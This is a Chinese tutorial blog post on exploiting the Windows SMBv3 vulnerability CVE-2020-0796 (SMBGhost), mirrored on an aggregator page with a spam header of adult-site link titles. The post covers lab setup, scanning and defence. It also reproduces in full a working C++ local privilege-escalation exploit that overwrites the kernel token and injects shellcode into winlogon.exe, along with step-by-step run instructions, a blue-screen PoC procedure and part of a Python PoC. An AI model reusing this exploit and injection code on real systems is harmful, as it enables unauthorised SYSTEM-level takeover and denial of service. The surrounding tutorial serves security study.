日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

[系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解

發(fā)布時間:2024/6/1 windows 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統(tǒng)安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統(tǒng)整理和深入學習系統(tǒng)安全、逆向分析和惡意代碼檢測,“系統(tǒng)安全”系列文章會更加聚焦,更加系統(tǒng),更加深入,也是作者的慢慢成長史。換專業(yè)確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~

系統(tǒng)安全系列作者將深入研究惡意樣本分析、逆向分析、攻防實戰(zhàn)和Windows漏洞利用等,通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步。前文介紹了MS08-067遠程代碼執(zhí)行漏洞(CVE-2008-4250),它是Windows Server服務RPC請求緩沖區(qū)溢出漏洞,利用445端口。這篇文章將詳細講解SMBv3服務遠程代碼執(zhí)行漏洞(CVE-2020-0796),攻擊者可能利用此漏洞遠程無需用戶驗證,通過發(fā)送構造特殊的惡意數(shù)據(jù)導致在目標系統(tǒng)上執(zhí)行惡意代碼,從而獲取機器的完全控制,利用的端口仍是445。希望對入門的同學有幫助。

話不多說,讓我們開始新的征程吧!您的點贊、評論、收藏將是對我最大的支持,感恩安全路上一路前行,如果有寫得不好的地方,可以聯(lián)系我修改。基礎性文章,希望對您有所幫助,作者的目的是與安全人共同進步,加油!也強烈推薦大家去看看參考文獻的視頻和書籍。

文章目錄

  • 一.漏洞描述
  • 二.Win10本地提權
    • 1.開啟445端口
    • 2.SMBGhost漏洞掃描
    • 3.本地EXP提取
  • 三.虛擬機藍屏攻擊
    • 1.環(huán)境搭建
    • 2.攻擊實驗
  • 四.漏洞原因分析
    • 1.C++代碼解析
    • 2.Python代碼解析
  • 五.防御措施
  • 六.總結

作者的github資源:

  • 系統(tǒng)安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 網(wǎng)絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文分析:

  • [系統(tǒng)安全] 一.什么是逆向分析、逆向分析基礎及經(jīng)典掃雷游戲逆向
  • [系統(tǒng)安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
  • [系統(tǒng)安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰(zhàn)
  • [系統(tǒng)安全] 四.OllyDbg動態(tài)分析工具基礎用法及Crakeme逆向破解
  • [系統(tǒng)安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰(zhàn)僵尸游戲
  • [系統(tǒng)安全] 六.逆向分析之條件語句和循環(huán)語句源碼還原及流程控制
  • [系統(tǒng)安全] 七.逆向分析之PE病毒原理、C++實現(xiàn)文件加解密及OllyDbg逆向
  • [系統(tǒng)安全] 八.Windows漏洞利用之CVE-2019-0708復現(xiàn)及藍屏攻擊
  • [系統(tǒng)安全] 九.Windows漏洞利用之MS08-067遠程代碼執(zhí)行漏洞復現(xiàn)及深度提權
  • [系統(tǒng)安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執(zhí)行漏洞(CVE-2020-0796)復現(xiàn)

聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網(wǎng)絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。


一.漏洞描述

基本描述:
2020年3月11日,某國外安全公司發(fā)布了一個近期微軟安全補丁包所涉及漏洞的綜述,其中談到了一個威脅等級被標記為Critical的SMB服務遠程代碼執(zhí)行漏洞(CVE-2020-0796)。攻擊者可能利用此漏洞遠程無需用戶驗證通過發(fā)送構造特殊的惡意數(shù)據(jù)導致在目標系統(tǒng)上執(zhí)行惡意代碼,從而獲取機器的完全控制。

微軟SMBv3(Server Message Block 3.0)服務遠程代碼執(zhí)行漏洞(CVE-2020-0796)可被攻擊者利用,實現(xiàn)無須權限即可執(zhí)行遠程代碼,受攻擊的目標系統(tǒng)只需開機在線即可能被入侵。該漏洞后果十分接近永恒之藍系列,存在被WannaCry等勒索蠕蟲利用的可能,攻擊者可以構造特定的網(wǎng)頁、壓縮包、共享目錄、Office文檔等多種方式觸發(fā)漏洞進行攻擊,對存在該漏洞的Windows主機造成嚴重威脅。


目前奇安信息威脅情報中心紅雨滴團隊已經(jīng)確認漏洞的存在,利用此漏洞可以穩(wěn)定地導致系統(tǒng)崩潰,不排除執(zhí)行任意代碼的可能性,由于漏洞無需用戶驗證的特性,可能導致類似WannaCry攻擊那樣蠕蟲式的傳播。2020年3月12日微軟發(fā)布了相應的安全補丁,強烈建議用戶立即安裝補丁以免受此漏洞導致的風險。2020年3月14日,已有可導致受影響系統(tǒng)藍屏崩潰的漏洞利用POC在公開渠道發(fā)布,可以穩(wěn)定地導致系統(tǒng)遠程拒絕服務。

3月22日奇安信代碼安全團隊發(fā)布了針對此漏洞的遠程無損掃描器,可以幫助網(wǎng)絡管理員快速地識別存在此漏洞的系統(tǒng),歡迎使用。3月30日公開渠道出現(xiàn)利用此漏洞的本地提權利用代碼,奇安信驗證可用,本地攻擊者可以利用漏洞從普通用戶權限提升到系統(tǒng)權限。

  • 參考文獻: 奇安信威脅情報中心紅雨滴團隊的分析報告

影響版本:
該漏洞屬于遠程代碼執(zhí)行漏洞,漏洞主要影響Windows10的系統(tǒng)及應用版本(1903和1909),包括32位、64位的家用版、專業(yè)版、企業(yè)版、教育版。具體如下:

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)

漏洞原理:
在微軟SMBv3遠程代碼執(zhí)行漏洞中,SMB 3.1.1協(xié)議處理壓縮消息時,對其中的數(shù)據(jù)沒有經(jīng)過安全檢查,直接使用可能引發(fā)內(nèi)存破壞漏洞,從而被攻擊者利用遠程執(zhí)行任意代碼。攻擊者通過發(fā)送特殊構造的數(shù)據(jù)包觸發(fā)漏洞,無需用戶驗證就可能控制目標系統(tǒng),同時影響服務器與客戶端系統(tǒng)。

該漏洞存在于Windows的SMBv3.0(文件共享與打印服務)中,利用的端口是445。 當SMBv3.0處理惡意制作的壓縮數(shù)據(jù)包時,由于SMB沒有正確處理壓縮的數(shù)據(jù)包,在解壓數(shù)據(jù)包的時候使用客戶端傳過來的長度進行解壓,并沒有檢查長度是否合法,最終導致整數(shù)溢出。遠程未經(jīng)認證的攻擊者就可能利用此漏洞在應用程序的上下文中執(zhí)行任意代碼,系統(tǒng)受到非授權控制。

漏洞利用:

  • 本地EXP提權:https://github.com/danigargu/CVE-2020-0796
  • SMB掃描工具:https://github.com/ollypwn/SMBGhost
  • POC藍屏攻擊: https://github.com/eerykitty/CVE-2020-0796-PoC
  • Python POC版本:https://github.com/ZecOps/CVE-2020-0796-LPE-POC
  • 漏洞檢測工具:https://github.com/joaozietolie/CVE-2020-0796-Checker
  • 作者收集工具:https://github.com/eastmountyxz/CVE-2020-0796-SMB


二.Win10本地提權

第一個實驗是利用CVE-2020-0796漏洞進行本地提取,攻擊者利用該漏洞從普通用戶權限提升到系統(tǒng)權限。實驗代碼采用C++實現(xiàn),主要執(zhí)行EXE程序。
參考代碼:https://github.com/danigargu/CVE-2020-0796

1.開啟445端口

首先需要開啟445端口。該端口和135、137、138、139、3389都是常見的高危端口,大家需要注意防御。作為安全初學者,如果指定端口都未開啟或關閉,談何后續(xù)的實驗及防御呢?由于作者被該端口困擾了一段時間,所以簡單分享一些基礎知識,大佬勿噴~


第一步,Windows查看某個端口是否開啟。

  • telnet 127.0.0.1 455
    顯示連接失敗

  • netstat -ano -p tcp | find “445” >nul 2>nul && echo 445端口已開啟 || echo 445未開啟
    445端口顯示未開啟,而3389端口顯示已開啟

  • netstat -ano
    未顯示TCP開啟445端口


第二步,高級安全入站規(guī)則設置445端口允許。
點擊“防火墻”->“高級設置”。

設置“入站規(guī)則”->“新建規(guī)則”->“端口”設置。

設置TCP特定端口445,允許連接和應用所有規(guī)則。

設置成功之后如下圖所示,在測試445端口是否成功。此時仍然可能顯示未開啟。


第三步,注冊表中新建SMBDeviceEnabled選項。
在注冊表中查看如下路徑,發(fā)現(xiàn)沒有SMBDeviceEnabled選項。

計算機\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters

在右邊空白處右擊新建“QWORD(32位)值”,然后重命名為“SMBDeviceEnabled”。

再把這個子鍵的值改為1。但是作者的445端口仍然顯示未開啟,哎,自己真是菜得摳腳~


第四步,啟用文件和打印機共享,開啟Server服務。
最終原因是Server服務未開啟。Server支持計算機通過網(wǎng)絡的文件、打印、和命名管道共享。如果服務停止,這些功能不可用。如果服務被禁用,任何直接依賴于此服務的服務將無法啟動。

“網(wǎng)絡和共享中心”->“高級共享設置”。

在運行中輸入“services.msc”打開服務,開啟Server。

Server開啟后終于成功打開445端口。

重啟計算機顯示445開啟。

注意:實驗完成之后建議關閉445端口,或立刻打補丁。



2.SMBGhost漏洞掃描

接著我們嘗試用 “https://github.com/ollypwn/SMBGhost” 代碼掃描是否存在該漏洞,Win10注意關閉防火墻。運行結果如下圖所示,表示存在CVE-2020-0796漏洞。

  • python scanner.py 192.168.0.105
  • pip install netaddr 安裝擴展包

掃描程序僅用于測試服務器是否易受攻擊,它通過協(xié)商請求檢查SMBv3.1.1協(xié)議和壓縮功能,源代碼如下所示。該漏洞主要是由于SMBv3協(xié)議在處理惡意的壓縮數(shù)據(jù)包時出錯所造成的,它可讓遠程且未經(jīng)身份驗證的攻擊者在目標系統(tǒng)上執(zhí)行任意代碼。

scanner.py

import socket import struct import sys from netaddr import IPNetworkpkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'subnet = sys.argv[1]#subnet = '192.168.44.141'for ip in IPNetwork(subnet):sock = socket.socket(socket.AF_INET)sock.settimeout(3)try:sock.connect(( str(ip), 445 ))except:sock.close()continuesock.send(pkt)nb, = struct.unpack(">I", sock.recv(4))res = sock.recv(nb)if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":#print(f"{ip} Not vulnerable.")print("%s Not vulnerable." % ip)else:#print(f"{ip} vulnerable")print("%s Vulnerable" % ip)

3.本地EXP提取

第一步,運行C++代碼(sln程序),生成如下圖所示exe程序。

  • cve-2020-0796-local.exe

第二步,在運行中輸入“winver”命令檢查Windows版本,必須是Win10 1903或1909。

顯示如下圖所示,作者的未1909。


第三步,用管理員權限運行CMD(命令提示符),輸入“whoami”。

  • 輸出結果為普通用戶權限:desktop-k…86\xxxxxx

第四步,用管理員打開PowerShell,運行exe程序提權。
按下組合鍵Windows+R以打開運行窗口,輸入powershell會以當前用戶的權限去執(zhí)行。

如果你想要從普通模式轉(zhuǎn)至管理員模式,輸入以下PowerShell命令然后按下回車鍵。

  • Start-Process powershell -Verb runAs

輸入如下命令運行EXE程序。

  • D:
  • cd D:\SMBGhost-master\CVE-2020-0796-master\cve-2020-0796-local\x64\Debug
  • .\cv 按TAB鍵自動補齊 .\cve-2020-0796-local.exe
  • 成功運行程序

第五步,此時EXE成功運行并利用SMB漏洞。在CMD中輸入“whoami”命令,可以看到普通用戶權限提升至管理員權限。

  • 普通權限:desktop-k…86\xxxxxx
  • 管理員權限:nt authority\system

系統(tǒng)管理員帳戶:許多服務和Windows進程需要在內(nèi)部登錄 (例如在Windows安裝過程中),系統(tǒng)帳戶就是為該目的設計的。它是內(nèi)部帳戶,不顯示在用戶管理器,也無法添加到任何組,并且不能分配用戶權限。默認情況下,系統(tǒng)帳戶授予完全控制NTFS卷上的所有文件。在此系統(tǒng)帳戶具有作為管理員帳戶相同的功能權限。
普通管理員賬戶:不能夠在系統(tǒng)內(nèi)部登錄。對于文件系統(tǒng),管理員賬戶和SYSEM賬戶具有相同的權限。但是對于一些服務和進程,我們需要使用系統(tǒng)賬戶而非管理員賬戶,因為這些服務和進程要和系統(tǒng)交互,需要內(nèi)部登錄。

在執(zhí)行計劃任務時,如果我們使用NT AUTHORITY\SYSTEM賬戶,那么是不需要輸入密碼的。但是使用管理員賬戶,我們必須輸入密碼。一般使用系統(tǒng)賬戶是為了防止管理員改變密碼后任務無法執(zhí)行。對于一般的操作,可以使用任何一個賬戶但還是建議您使用管理員或者普通用戶執(zhí)行。如果和進程或者服務有關的話,您可以使用系統(tǒng)賬戶。

Process Explorer打開的提權進程如下圖所示:

自此,本地提權實驗成功,實驗結束建議關閉445端口或完善補丁,切記。C++代碼及原理將在文章的第四部分詳細講解。



三.虛擬機藍屏攻擊

1.環(huán)境搭建

  • 受害機:Windows 10 1903 64位專業(yè)版
  • 攻擊機:Kali系統(tǒng)

第一步,在虛擬機中安裝Windows 10系統(tǒng)和Kali系統(tǒng)。

  • https://msdn.itellyou.cn/

運行中輸入“winver”查看版本信息為1903。

第二步,虛擬機兩個系統(tǒng)之間能夠相互通信。

  • Kali:192.168.44.138
  • Win XP:192.168.44.140

第三步,打開Windows 10系統(tǒng),確定445端口開啟。如下圖所示,在CMD中輸入“netstat -ano”查看端口445是否打開。開啟方法前面已詳細講解。

第四步,關閉Windows系統(tǒng)的防火墻。

注意,某些情況系統(tǒng)已打過補丁,還需要刪除補丁KB4551762才能成功實驗。作者也存在一個疑問,采用Win10 32位 1903版本藍屏攻擊總失敗,Why?

刪除后重啟計算機即可。


2.攻擊實驗

第一步,采用scanner.py或bash文件掃描該漏洞。這里采用另一種方法,參考資源:https://github.com/joaozietolie/CVE-2020-0796-Checker

  • 上傳文件至Kali系統(tǒng),作者采用文件共享
  • chmod +x CVE-2020-0796-Checker.sh
  • bash CVE-2020-0796-Checker.sh -t 192.168.44.140

CVE-2020-0796-Checker.sh

#!/bin/bash NC='\033[0m' RED='\033[0;31m' GREEN='\033[0;32m' #Code by Jo?o Zietolie :)while getopts "t:" OPTION; docase "${OPTION}" int) target="${OPTARG}";;esac doneif [[ "$target" > "0" ]]; then echo "Checking for SMB v3.11 in $target ..."result=$(nmap -p445 --script smb-protocols -Pn -n $target | grep -o 3.11) if [[ "$result" == '3.11' ]]; thenecho -e "$target - ${RED}FOUND 3.11 VERSION - POSSIBLY VULNERABLE TO CVE-2020-0796" ${NC}elseecho -e "$target - ${GREEN}There is no SMB v3.11 - possibly not vulnerable (Port 445 can be filtered or closed)" ${NC}fi elseecho -e "${RED}USAGE: bash CVE-2020-0796-Checker.sh -t IP${NC}" fi

第二步,從github下載POC藍屏攻擊代碼至Kali系統(tǒng)。

  • https://github.com/eerykitty/CVE-2020-0796-PoC
  • 命令:git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git

第三步,安裝擴展包并實現(xiàn)POC藍屏攻擊。

  • pip install ntlm_auth
  • python CVE-2020-0796.py 192.168.44.140

此時,Win10系統(tǒng)藍屏重啟,如下圖所示。作者又有一個疑問,如何獲取Shell而不藍屏呢?



四.漏洞原因分析

根據(jù)安全研究人員分析,該漏洞是一個整數(shù)溢出,發(fā)生在SMB服務驅(qū)動srv2.sys的Srv2DecompressData函數(shù)中。經(jīng)過研究,研究人員成功證明了CVE-2020-0796漏洞可以被用于本地權限提升。不過需要注意的是,由于API的依賴問題,這個exploit被限制于中等完整性級別(integrity level)。

漏洞成因推薦如下文章:

  • 安全人員發(fā)布利用CVE-2020-0796實現(xiàn)提權限的PoC - NOSEC
  • CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析 - 曉得哥
  • Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC
  • CVE-2020-0796本地利用簡析 - goabout2

1.C++代碼解析

exploit.cpp

/** CVE-2020-0796 LPE* * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com* Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com* Date: 03/29/2020***/#include <stdio.h> #include <stdint.h> #include <winsock2.h> #include <ws2tcpip.h> #include <windows.h> #include <TlHelp32.h> #include "ntos.h"#pragma comment(lib, "ws2_32.lib")ULONG64 get_handle_addr(HANDLE h) {ULONG len = 20;NTSTATUS status = (NTSTATUS)0xc0000004;PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;do {len *= 2;pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len);} while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation() failed with error: %#x\n", status);return 1;}DWORD mypid = GetProcessId(GetCurrentProcess());ULONG64 ptrs[1000] = { 0 };for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) {PVOID object = pHandleInfo->Handles[i].Object;ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue;DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId;if (pid != mypid)continue;if (handle == (ULONG_PTR)h)return (ULONG64)object;}return -1; }ULONG64 get_process_token() {HANDLE token;HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());if (proc == INVALID_HANDLE_VALUE)return 0;OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);ULONG64 ktoken = get_handle_addr(token);return ktoken; }int error_exit(SOCKET sock, const char* msg) {int err;if (msg != NULL) {printf("%s failed with error: %d\n", msg, WSAGetLastError());}if ((err = closesocket(sock)) == SOCKET_ERROR) {printf("closesocket() failed with error: %d\n", WSAGetLastError());}WSACleanup();return EXIT_FAILURE; }int send_negotiation(SOCKET sock) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00, /* session */0x00, 0x00, 0xC4, /* length *//* SMB Header */0xFE, 0x53, 0x4D, 0x42, /* protocol id */0x40, 0x00, /* structure size, must be 0x40 */0x00, 0x00, /* credit charge */0x00, 0x00, /* channel sequence */0x00, 0x00, /* channel reserved */0x00, 0x00, /* command */0x00, 0x00, /* credits requested */0x00, 0x00, 0x00, 0x00, /* flags */0x00, 0x00, 0x00, 0x00, /* chain offset */0x00, 0x00, 0x00, 0x00, /* message id */0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* reserved */0x00, 0x00, 0x00, 0x00, /* tree id */0x00, 0x00, 0x00, 0x00, /* session id */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, /* signature */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,/* SMB Negotiation Request */0x24, 0x00, /* structure size */0x08, 0x00, /* dialect count, 8 */0x00, 0x00, /* security mode */0x00, 0x00, /* reserved */0x7F, 0x00, 0x00, 0x00, /* capabilities */0x01, 0x02, 0xAB, 0xCD, /* guid */0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x01, 0x02, 0xAB, 0xCD,0x78, 0x00, /* negotiate context */0x00, 0x00, /* additional padding */0x02, 0x00, /* negotiate context count */0x00, 0x00, /* reserved 2 */0x02, 0x02, /* dialects, SMB 2.0.2 */0x10, 0x02, /* SMB 2.1 */0x22, 0x02, /* SMB 2.2.2 */0x24, 0x02, /* SMB 2.2.3 */0x00, 0x03, /* SMB 3.0 */0x02, 0x03, /* SMB 3.0.2 */0x10, 0x03, /* SMB 3.0.1 */0x11, 0x03, /* SMB 3.1.1 */0x00, 0x00, 0x00, 0x00, /* padding *//* Preauth context */0x01, 0x00, /* type */0x26, 0x00, /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x01, 0x00, /* hash algorithm count */0x20, 0x00, /* salt length */0x01, 0x00, /* hash algorith, SHA512 */0x00, 0x00, 0x00, 0x00, /* salt */0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00,0x00, 0x00, /* pad *//* Compression context */0x03, 0x00, /* type */0x0E, 0x00, /* length */0x00, 0x00, 0x00, 0x00, /* reserved */0x02, 0x00, /* compression algorithm count */0x00, 0x00, /* padding */0x01, 0x00, 0x00, 0x00, /* flags */0x02, 0x00, /* LZ77 */0x03, 0x00, /* LZ77+Huffman */0x00, 0x00, 0x00, 0x00, /* padding */0x00, 0x00, 0x00, 0x00};if ((err = send(sock, (const char *)buf, sizeof(buf), 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0); }return err; }int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {int err = 0;char response[8] = { 0 };const uint8_t buf[] = {/* NetBIOS Wrapper */0x00,0x00, 0x00, 0x33,/* SMB Header */0xFC, 0x53, 0x4D, 0x42, /* protocol id */0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */0x02, 0x00, /* compression algorithm, LZ77 */0x00, 0x00, /* flags */0x10, 0x00, 0x00, 0x00, /* offset */};uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);if (packet == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}memcpy(packet, buf, sizeof(buf));*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;memcpy(packet + sizeof(buf) + 0x10, buffer, len);if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {recv(sock, response, sizeof(response), 0);}free(packet);return err; }void inject(void) {PROCESSENTRY32 entry;entry.dwSize = sizeof(PROCESSENTRY32);uint8_t shellcode[] = {0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,0xff, 0xc2, // inc edx (1 = SW_SHOW)0xFF, 0xD7, 0x48, 0x83, 0xC4,0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00};HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);int pid = -1;if (Process32First(snapshot, &entry) == TRUE) {while (Process32Next(snapshot, &entry) == TRUE) {if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {pid = entry.th32ProcessID;break;}}}CloseHandle(snapshot);if (pid < 0) {printf("Could not find process\n");return;}printf("Injecting shellcode in winlogon...\n");HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (hProc == NULL) {printf("Could not open process\n");return;}LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpMem == NULL) {printf("Remote allocation failed\n");return;} if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {printf("Remote write failed\n");return;} if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {printf("CreateRemoteThread failed\n");return;}printf("Success! ;)\n"); }int main(int argc, char* argv[]) {WORD wVersionRequested = MAKEWORD(2, 2);WSADATA wsaData = { 0 };SOCKET sock = INVALID_SOCKET;uint64_t ktoken = 0;int err = 0;printf("-= CVE-2020-0796 LPE =-\n");printf("by @danigargu and @dialluvioso_\n\n");if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) {printf("WSAStartup() failed with error: %d\n", err);return EXIT_FAILURE;}if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {printf("Couldn't find a usable version of Winsock.dll\n");WSACleanup();return EXIT_FAILURE;}sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (sock == INVALID_SOCKET) {printf("socket() failed with error: %d\n", WSAGetLastError());WSACleanup();return EXIT_FAILURE;}sockaddr_in client;client.sin_family = AF_INET;client.sin_port = htons(445);InetPton(AF_INET, "127.0.0.1", &client.sin_addr);if (connect(sock, (sockaddr*)& client, sizeof(client)) == SOCKET_ERROR) {return error_exit(sock, "connect()");}printf("Successfully connected socket descriptor: %d\n", (int)sock);printf("Sending SMB negotiation request...\n");if (send_negotiation(sock) == SOCKET_ERROR) {printf("Couldn't finish SMB negotiation\n");return error_exit(sock, "send()");}printf("Finished SMB negotiation\n");ULONG buffer_size = 0x1110;UCHAR *buffer = (UCHAR *)malloc(buffer_size);if (buffer == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}ktoken = get_process_token();if (ktoken == -1) {printf("Couldn't leak ktoken of current process...\n");return EXIT_FAILURE;}printf("Found kernel token at %#llx\n", ktoken);memset(buffer, 'A', 0x1108);*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ULONG CompressBufferWorkSpaceSize = 0;ULONG CompressFragmentWorkSpaceSize = 0;err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize);if (err != STATUS_SUCCESS) {printf("RtlGetCompressionWorkSpaceSize() failed with error: %d\n", err);return error_exit(sock, NULL);}ULONG FinalCompressedSize;UCHAR compressed_buffer[64];LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize);if (lpWorkSpace == NULL) {printf("Couldn't allocate memory with malloc()\n");return error_exit(sock, NULL);}err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);if (err != STATUS_SUCCESS) {printf("RtlCompressBuffer() failed with error: %#x\n", err);free(lpWorkSpace);return error_exit(sock, NULL);}printf("Sending compressed buffer...\n");if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {return error_exit(sock, "send()");}printf("SEP_TOKEN_PRIVILEGES changed\n");inject();WSACleanup();return EXIT_SUCCESS; }

2.Python代碼解析

CVE-2020-0796-POC.py

import socket, struct, sysclass Smb2Header:def __init__(self, command, message_id):self.protocol_id = "\xfeSMB"self.structure_size = "\x40\x00" # Must be set to 0x40self.credit_charge = "\x00"*2self.channel_sequence = "\x00"*2self.channel_reserved = "\x00"*2self.command = commandself.credits_requested = "\x00"*2 # Number of credits requested / grantedself.flags = "\x00"*4self.chain_offset = "\x00"*4 # Points to next messageself.message_id = message_idself.reserved = "\x00"*4self.tree_id = "\x00"*4 # Changes for some commandsself.session_id = "\x00"*8self.signature = "\x00"*16def get_packet(self):return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signatureclass Smb2NegotiateRequest:def __init__(self):self.header = Smb2Header("\x00"*2, "\x00"*8)self.structure_size = "\x24\x00"self.dialect_count = "\x08\x00" # 8 dialectsself.security_mode = "\x00"*2self.reserved = 